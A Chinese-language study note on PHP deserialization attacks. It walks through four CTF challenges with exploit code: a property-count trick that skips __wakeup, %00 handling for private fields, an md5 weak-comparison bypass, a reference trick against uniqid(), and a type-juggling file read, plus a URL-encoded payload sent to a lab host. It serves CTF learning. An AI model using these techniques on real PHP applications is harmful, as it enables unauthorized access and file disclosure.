2022.7.20 反序列化学习笔记
攻防世界-unserialize3
发现__wakeup()魔术方法
我们尝试通过反序列化漏洞来做这题。
•反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
具体本地调试代码如下
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$x=new xctf();
$str=serialize($x);
echo $str;
// O:4:"xctf":1:{s:4:"flag";s:3:"111";}
$str2=unserialize('O:4:"xctf":2:{s:4:"flag";s:3:"111";}');
var_dump($str2);
?>
解释:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
我们从外到内分析。
O是对象,它对象是长度4的xctf
xctf里面有’2‘个属性(但不应如此,实际上就一个)
里面是长度4的flag属性,以及长度3的111属性值。
最后,我们通过构造好的 序列化字符串的一个bug 语句,成功的绕过__wakeup()里面的exit函数
当绕过后,成功得到flag
[极客大挑战 2019]PHP1(注意private和protected类型有%00)
再练一道。他说他备份了,很好,我们也能看到他的备份文件。
我们使用dirsearch目录遍历可以找到www.zip的源码。
第一个关键点,找到攻击点(get)
首先看到index.php的源码
发现get传参select,并且执行反序列化select。
我们接着分析class.php。
首先我们在原有的基础上先以admin为账号,100为密码构造一个序列化和反序列化出来,
这篇代码的意思是只要最后销毁对象的时候,用户名是admin,密码是100就可以拿到flag了
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
$aa1=new Name('admin',100);
$str1=serialize($aa1);
echo $str1;
$str2=unserialize($str1);
var_dump($str2);
?>
第二个关键点,绕过wakeup函数
看到很明显了,要绕过__wakeup()魔法函数,不要让他强制把我们的这个username变量变成guest。
大致构成如下
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
$aa1=new Name('admin',100);
$str1=serialize($aa1);
echo urlencode($str1);
$str2=unserialize($str1);
?>
这边我们把对应的属性个数把2改成3 即可
一些需要注意的地方
请注意,username和password都为private变量,url编码后前后会有%00 符号,所以我们应当注意这一点,传入的时候,这个要加上。
补充:protected变量变量前面要加上’%00*%00‘,因此对应的长度是我们数出来的加3。
当然,我们直接用php自带的urlencode是可以解出来的。
我们回到靶场把处理好的反序列化的代码直接传过去。
http://08c1bbc4-3518-41e7-8ef2-3525c9806fec.node4.buuoj.cn:81/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7DO%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22Nameusername%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22Namepassword%22%3Bi%3A100%3B%7D
得到flag
BUU CODE REVIEW 1
进去后直接给php代码
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
可以看到,要让他反序列化obj是有三层条件的
首先要get一个参数,然后要post三个参数,pleasepost=2是确定的。
第一个关键点,数组的md5值相同
这边md51和md52我们使用弱类型或者数组(数组的md5值一样)可以解决这个问题。
md51=QNKCDZO&md52=240610708
第二个关键点,引用绕过
接下来就是让他摧毁变量的时候,满足:
$this->correct === $this->input
而我们看到uniqid(),然后还要判断相等的时候。(uniqid()就是随机的一个唯一标识符)
那我们想要生成一个和uniqid()相同的数肯定行不通的,他是以毫秒为单位生成随机唯一标识的。
但是可别忘了,有个东西叫引用。
我们用引用绕过来解决这道题。
即,让变量correct引用的地址 赋给 input变量,这样我们可以满足上面的条件了。
\(x->input=&\)x->correct;
生成obj的完整代码如下:
<?php
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$x=new BUU();
$x->input=&$x->correct;
$str=serialize($x);
echo $str;
// O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;} 这里的R就表示引用
?>
最后的完整解题界面,该有的都有了。
burpsuite软件演示
[网鼎杯 2020 青龙组]AreUSerialz1
进去后代码是这样的
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
补充:
如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
op为操作标识符,filename是带查看文件,content是待写入内容(这里根据file_get_contents特性,是重新写入的)
如果要拿到flag,那程序的走向应是:
- 传入参数str,满足valid条件后,执行反序列化这个字符串
- 先执行析构函数,绕过if($this->op === "2")这个判断,执行process函数
- 满足else if($this->op == "2") 条件,执行文件读取操作
- 至此,执行read,并调用output回显flag。
首先我们分析valid条件,可以看到它的要求是所有可打印字符(acicii编码在32~125范围内)
我们首先根据类构造好一个初步的序列化字符串,但是请注意,里面的变量为protected,他对于主函数是不可见的。
第一个关键点:绕过protected
首先我们思考一个问题。
protected变量属性值前面是不是会有‘%00*%00’字符?那其对应的ascii编码是0,不满足他的valid条件,那么就是不能传入的参数,故这里写protected变量肯定是不行的,所以我们要绕过,绕过的办法很简单,本地改成没有%00的public就可以了。
我们将其本地修改成public后,开始尝试第一步的调试。
我的第一个调试参考代码如下
<?php
class FileHandler {
public $op="2";
public $filename="C:/Users/ljy/Desktop/CTFtools/web_hack/WWW/test/flag.php";
// public $filename="/var/www/html/flag.php";
public $content='';
function __construct() {
$op = "2";
$filename = "/tmp/tmpfile";
$content = "";
}
}
$aaa = new FileHandler();
echo serialize($aaa)."<br>";
echo urlencode(serialize($aaa));
?>
这边注意一下,windows下的filename需要用绝对路径才能读出文件内容,而docker可以用相对路径,靶机就是linux环境,他是用相对路径的,windows的小伙伴需要改一下这里。
本地运行后,如下。
我们尝试将其在源代码中跑一下(复制粘贴源码即可)
请看,我运行的源码如下
<?php
include "flag.php";
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
echo __METHOD__."<br>";
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
// op=1 写 op=2读
public function process() {
echo __METHOD__."<br>";
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
echo __METHOD__."<br>";
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
echo __METHOD__."<br>";
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
echo __METHOD__."<br>";
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
echo "start..."."<br>";
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
echo "success get!"."<br>";
$obj = unserialize($str);
}
else echo "not valid!";
}
?>
注明:主要是加了一些打印函数的方法方便调试。
将上一段运行出来的序列化代码放进去反序列化后在源代码得到的调试结果如下。
可以看到,他是在process后面运行了write函数,但是我们审计write函数可以发现,只要运行了那个函数,源文件就会重新写入,flag不可能找到了。
那我们这边还需要第二个攻破的点。
第二个关键点:绕过强弱相等
可以看到,析构函数这里是强相等。
而process这却是弱相等。
那么很明显了,我们在原来第一遍的调试代码把op改成整型的2即可完成。
同样操作下,可以得到文件的内容了。
OK,我们把filename的名字改回flag.php后,得到序列化串后,我们以同样的方法传入到靶机内。
得到了flag
附: (反)序列化的一些php代码模板
序列化前执行sleep
<?php
class User{
// 序列化执行sleep
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
// 重载序列化调用的方法
public function __sleep()
{
// 返回需要序列化的变量名,过滤掉password变量
return array('username', 'nickname');
}
}
$user = new User('uusama', 'uu', '123456');
var_dump(serialize($user));
?>
反序列化前执行wakeup
<?php
/*
__wakeup()函数在对象被构建以后执行,所以$this->username的值不为空
反序列化时,会尽量将变量值进行匹配并复制给序列化后的对象
*/
class User{
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
// 定义反序列化后调用的方法
public function __wakeup()
{
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:6:"uusama";s:8:"nickname";s:2:"uu";}';
var_dump(unserialize($user_ser));
/* 以下是没有定义类时反序列化的解决方案 */
// 没有预定义User2类的时候,object显示__PHP_Incomplete_Class
$user_ser = 'O:5:"User2":2:{s:8:"username";s:6:"uusama";s:8:"nickname";s:2:"uu";}';
var_dump(unserialize($user_ser));
// 此时反序列化的解决方案如下
/*
定义__autoload()等函数,指定发现未定义类时加载类的定义文件
可通过 php.ini、ini_set() 或 .htaccess 定义unserialize_callback_func。每次实例化一个未定义类时它都会被调用
*/
// unserialize_callback_func 从 PHP 4.2.0 起可用
ini_set('unserialize_callback_func', 'mycallback'); // 设置您的回调函数
function mycallback($classname)
{
// 只需包含含有类定义的文件
// $classname 指出需要的是哪一个类
}
// 建议使用下面的函数,代替__autoload()
spl_autoload_register(function ($class_name) {
// 动态加载未定义类的定义文件
require_once $class_name . '.php';
});
?>
预定义序列化接口(跳过wake和sleep访问父类)
<?php
/*
预定义序列化接口
serializable接口可以解决序列化父类对象无法访问的问题。也不会去调用__sleep()和__wakeup()方法
Serializable {
abstract public string serialize ( void )
abstract public mixed unserialize ( string $serialized )
}
*/
class CB implements Serializable{
public $CB_data = '';
private $CB_password = 'ttt';
public function setCBPassword($password)
{
$this->CB_password = $password;
}
public function serialize()
{
echo __METHOD__ . "\n";
return serialize($this->CB_password);
}
public function unserialize($serialized)
{
echo __METHOD__ . "\n";
}
}
class CC extends CB {
const SECOND = 60;
public $data;
private $pass;
public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
public function __sleep()
{
// 输出调用了该方法名
echo __METHOD__ . "\n";
}
public function __wakeup()
{
// 输出调用了该方法名
echo __METHOD__ . "\n";
}
}
$cc = new CC('uu', true);
$ser = serialize($cc);
var_dump($ser);
$un_cc = unserialize($ser);
var_dump($un_cc);
?>